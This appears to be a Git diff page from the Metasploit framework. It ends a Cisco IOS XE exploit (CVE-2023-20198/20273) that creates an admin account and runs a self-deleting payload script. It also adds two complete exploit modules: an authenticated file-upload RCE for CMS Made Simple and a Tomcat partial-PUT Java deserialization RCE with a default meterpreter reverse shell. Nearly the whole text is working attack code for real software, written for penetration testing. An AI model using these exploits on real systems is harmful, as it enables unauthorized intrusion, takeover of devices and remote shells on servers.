success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
|
||||
next run_os_command("chmod +x #{bootstrap_file}", admin_username, admin_password)
|
||||
end
|
||||
|
||||
unless success
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to chmod the bootstrap file')
|
||||
end
|
||||
|
||||
# Execute our bootstrap script via mcp_chvrf.sh, and with 'global' virtual routing and forwarding (vrf) by
|
||||
# default. The VRF allows the executed script to route its network traffic back the framework. The map_chvrf.sh
|
||||
# scripts wraps a call to /usr/sbin/chvrf, which will conveniently fork the command we supply.
|
||||
success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
|
||||
next run_os_command("/usr/binos/conf/mcp_chvrf.sh #{datastore['CISCO_VRF_NAME']} sh #{bootstrap_file}", admin_username, admin_password)
|
||||
end
|
||||
|
||||
unless success
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to execute the bootstrap file')
|
||||
end
|
||||
yield(admin_username, admin_password)
|
||||
ensure
|
||||
print_status("Removing user '#{admin_username}'")
|
||||
print_status("Removing user '#{admin_username}'") if verbose
|
||||
|
||||
# Leverage CVE-2023-20198 to remove the admin account we previously created.
|
||||
unless run_cli_command("no username #{admin_username}", Mode::GLOBAL_CONFIGURATION)
|
||||
if !run_cli_command("no username #{admin_username}", Mode::GLOBAL_CONFIGURATION) && verbose
|
||||
print_warning('Failed to remove user')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def do_rce_payload(username, password)
|
||||
# Leverage CVE-2023-20273 to run an arbitrary OS commands and bootstrap a Metasploit payload...
|
||||
|
||||
# A shell script to execute the Metasploit payload. Will delete itself upon execution.
|
||||
bootstrap_script = "#!/bin/sh\nrm -f $0\n#{payload.encoded}"
|
||||
|
||||
# The location of our bootstrap script.
|
||||
bootstrap_file = "/tmp/#{Rex::Text.rand_text_alpha(8)}"
|
||||
|
||||
# NOTE: Rather than chaining the commands with a semicolon, we run them separately. This allows version 16.* and
|
||||
# 17.8 to work as expected. Version 16.* did not work when semicolons were present in the command line.
|
||||
|
||||
# Write a script to disk which will execute the Metasploit payload. We base64 encode it to avoid any problems
|
||||
# with restricted chars, and leverage openssl to decode and write the contents to disk.
|
||||
success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
|
||||
next run_os_command("openssl enc -base64 -out #{bootstrap_file} -d <<< #{Base64.strict_encode64(bootstrap_script)}", username, password)
|
||||
end
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to plant the bootstrap file') unless success
|
||||
|
||||
# Make the script executable.
|
||||
success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
|
||||
next run_os_command("chmod +x #{bootstrap_file}", username, password)
|
||||
end
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to chmod the bootstrap file') unless success
|
||||
|
||||
# Execute our bootstrap script via mcp_chvrf.sh, and with 'global' virtual routing and forwarding (vrf) by
|
||||
# default. The VRF allows the executed script to route its network traffic back the framework. The map_chvrf.sh
|
||||
# scripts wraps a call to /usr/sbin/chvrf, which will conveniently fork the command we supply.
|
||||
success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
|
||||
next run_os_command("/usr/binos/conf/mcp_chvrf.sh #{datastore['CISCO_VRF_NAME']} sh #{bootstrap_file}", username, password)
|
||||
end
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to execute the bootstrap file') unless success
|
||||
end
|
||||
|
||||
# We can check a target is vulnerable to CVE-2023-20273, by leveraging CVE-2023-20273 to write a file to the web root
|
||||
# folder, and then read that file back out via an HTTP GET request. If we can read back out the expected data, we know
|
||||
# the target is vulnerable to CVE-2023-20273.
|
||||
def do_rce_check(username, password)
|
||||
check_data = Rex::Text.rand_text_alpha(16)
|
||||
|
||||
check_file = Rex::Text.rand_text_alpha(16)
|
||||
|
||||
check_path = "/var/www/#{check_file}"
|
||||
|
||||
cmd = "echo -n #{check_data} > #{check_path}"
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to run check command via CVE-2023-20273') unless run_os_command(cmd, username, password)
|
||||
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('webui', check_file),
|
||||
'headers' => {
|
||||
'Authorization' => basic_auth(username, password)
|
||||
}
|
||||
)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to get check command output for CVE-2023-20273') unless res&.code == 200
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to validate check command output for CVE-2023-20273') unless res&.body == check_data
|
||||
ensure
|
||||
# Deleting the output file can take more than one attempt.
|
||||
retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
|
||||
next run_os_command("rm #{check_path}", username, password)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,145 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::PhpEXE
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'CmsMadeSimple Authenticated File Manager RCE',
|
||||
'Description' => %q{
|
||||
CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files
|
||||
with the .phar or .phtml extensions, enabling execution of PHP code
|
||||
leading to RCE. The file can be executed by accessing its URL in the
|
||||
/uploads/ directory.
|
||||
|
||||
Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Okan Kurtuluş', # Initial research
|
||||
'Mirabbas Ağalarov', # EDB PoC
|
||||
'tastyrice' # Metasploit Module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2023-36969'],
|
||||
['EDB', '51600']
|
||||
],
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [
|
||||
[
|
||||
'Universal', {}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2023-06-07',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'Base directory path for cmsms', '/']),
|
||||
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
|
||||
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def multipart_form_data(uri, data, message)
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', uri),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'ctype' => "multipart/form-data; boundary=#{message.bound}",
|
||||
'keep_cookies' => true
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, '', 'index.php'),
|
||||
'method' => 'GET'
|
||||
)
|
||||
unless res && res.code == 200
|
||||
vprint_error('Connection Failed')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
set_cookie = res.get_cookies
|
||||
return CheckCode::Safe unless set_cookie&.match?(/^CMSSESSID/)
|
||||
|
||||
html = res.get_html_document
|
||||
version = Rex::Version.new(html.at('p.copyright-info').text.scan(/\d+\.\d+\.\d+/).first)
|
||||
vprint_status("#{peer} - CMS Made Simple Version: #{version}")
|
||||
|
||||
return CheckCode::Appears if version <= Rex::Version.new('2.2.21')
|
||||
|
||||
CheckCode::Detected
|
||||
end
|
||||
|
||||
def login
|
||||
data = {
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'loginsubmit' => 'Submit'
|
||||
}
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => data,
|
||||
'keep_cookies' => true
|
||||
)
|
||||
fail_with(Failure::NoAccess, 'Authentication was unsuccessful') unless res&.code == 302 && cookie_jar.cookies && res.headers['Location'] =~ %r{/admin$}
|
||||
|
||||
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
|
||||
vprint_good("#{peer} - Authentication was successful")
|
||||
end
|
||||
|
||||
def send_file
|
||||
filename = "#{rand_text_alpha(8..12)}.phtml"
|
||||
c = cookie_jar.cookies.find { |cookie| cookie.name == '__c' }.value
|
||||
payload = get_write_exec_payload(unlink_self: true)
|
||||
|
||||
# create the message with payload
|
||||
message = Rex::MIME::Message.new
|
||||
message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')
|
||||
message.add_part(c, nil, nil, 'form-data; name="__c"')
|
||||
message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')
|
||||
message.add_part(payload, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}\"")
|
||||
data = message.to_s
|
||||
|
||||
# send payload
|
||||
payload_res = multipart_form_data('moduleinterface.php', data, message)
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to upload the file') unless payload_res && payload_res.code == 200
|
||||
vprint_good("#{peer} - File uploaded #{filename}")
|
||||
|
||||
# open shell
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'uploads', filename),
|
||||
'method' => 'GET'
|
||||
)
|
||||
return unless res && res.code == 404
|
||||
|
||||
print_error("Shell #{shell_name} not found")
|
||||
end
|
||||
|
||||
def exploit
|
||||
login
|
||||
send_file
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,178 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::JavaDeserialization
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Tomcat Partial PUT Java Deserialization',
|
||||
'Description' => %q{
|
||||
This module exploits a Java deserialization vulnerability in Apache
|
||||
Tomcat's session restoration functionality that can be exploited with a partial HTTP PUT request to
|
||||
place an attacker controlled deserialization payload in the <tomcat_root_dir>/webapps/ROOT/ directory.
|
||||
|
||||
For the exploit to succeed, writes must be enabled for the default servlet,
|
||||
and org.apache.catalina.session.PersistentManager must be configured to use
|
||||
org.apache.catalina.session.FileStore.
|
||||
|
||||
Verified working on 10.1.16-1
|
||||
},
|
||||
'Author' => [
|
||||
'sw0rd1ight', # Discovery
|
||||
'Calum Hutton', # MSF Module
|
||||
'h4ck3r-04' # MSF Module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2025-24813'],
|
||||
['URL', 'https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq'],
|
||||
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-24813'],
|
||||
],
|
||||
'DisclosureDate' => '2025-03-10', # Vendor release note
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux', 'win'],
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows Command',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :windows_cmd
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'SSL' => false,
|
||||
'RPORT' => 443
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Base path', '/']),
|
||||
OptString.new('GADGET', [true, 'ysoserial gadget', 'CommonsBeanutils1']),
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
# Advanced check, runs the full exploit (without a command)
|
||||
# Assumes a 500 response from requesting the session indicates success
|
||||
begin
|
||||
upload_session_id = upload_payload('')
|
||||
unless upload_session_id
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
rescue Msf::Exploit::Failed => e
|
||||
return CheckCode::Safe(e)
|
||||
end
|
||||
|
||||
trigger_res = trigger_payload(upload_session_id)
|
||||
if trigger_res&.code != 500
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
execute_command(payload.encoded)
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
print_status("Utilizing #{datastore['GADGET']} deserialization chain")
|
||||
|
||||
upload_session_id = upload_payload(cmd)
|
||||
unless upload_session_id
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
|
||||
end
|
||||
|
||||
print_good("Uploaded ysoserial payload (#{upload_session_id}.session) via partial PUT")
|
||||
print_status('Attempting to deserialize session file..')
|
||||
|
||||
trigger_payload_res = trigger_payload(upload_session_id)
|
||||
unless trigger_payload_res&.code == 500
|
||||
fail_with(Failure::UnexpectedReply, "Failed to deserialize session: #{trigger_payload_res.code}")
|
||||
end
|
||||
|
||||
print_good('500 error response usually indicates success :)')
|
||||
end
|
||||
|
||||
def upload_payload(cmd)
|
||||
# Generate a random session id
|
||||
session_id = Rex::Text.rand_text_alpha(10)
|
||||
# Determine the shell and register the payload for cleanup
|
||||
case target['Platform']
|
||||
when ['unix', 'linux']
|
||||
shell = 'bash'
|
||||
register_file_for_cleanup("../webapps/ROOT/#{session_id}.session")
|
||||
when 'win'
|
||||
shell = 'cmd'
|
||||
register_file_for_cleanup("..\\webapps\\ROOT\\#{session_id}.session}")
|
||||
else
|
||||
fail_with(Failure::NoTarget, "Unsupported target platform! (#{target['Platform']})")
|
||||
end
|
||||
|
||||
res = send_partial_put(
|
||||
generate_java_deserialization_for_command(datastore['GADGET'].to_s, shell, cmd),
|
||||
"#{session_id}.session"
|
||||
)
|
||||
|
||||
# 201/204 is the normal success code
|
||||
# 409 indicates a conflict or file permission issue
|
||||
# but the partial file will still be created
|
||||
if [201, 204, 409].include?(res&.code)
|
||||
session_id
|
||||
end
|
||||
end
|
||||
|
||||
def trigger_payload(session_id)
|
||||
# Request the session id to retrieve the file and trigger deserialization
|
||||
request = {
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'headers' => { 'Cookie' => "JSESSIONID=.#{session_id}" }
|
||||
}
|
||||
send_request_cgi(request)
|
||||
end
|
||||
|
||||
def send_partial_put(data, name)
|
||||
request = {
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, name),
|
||||
'headers' => { 'Content-Range' => 'bytes 0-5/100' },
|
||||
'data' => data
|
||||
}
|
||||
send_request_cgi(request)
|
||||
end
|
||||
|
||||
end
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user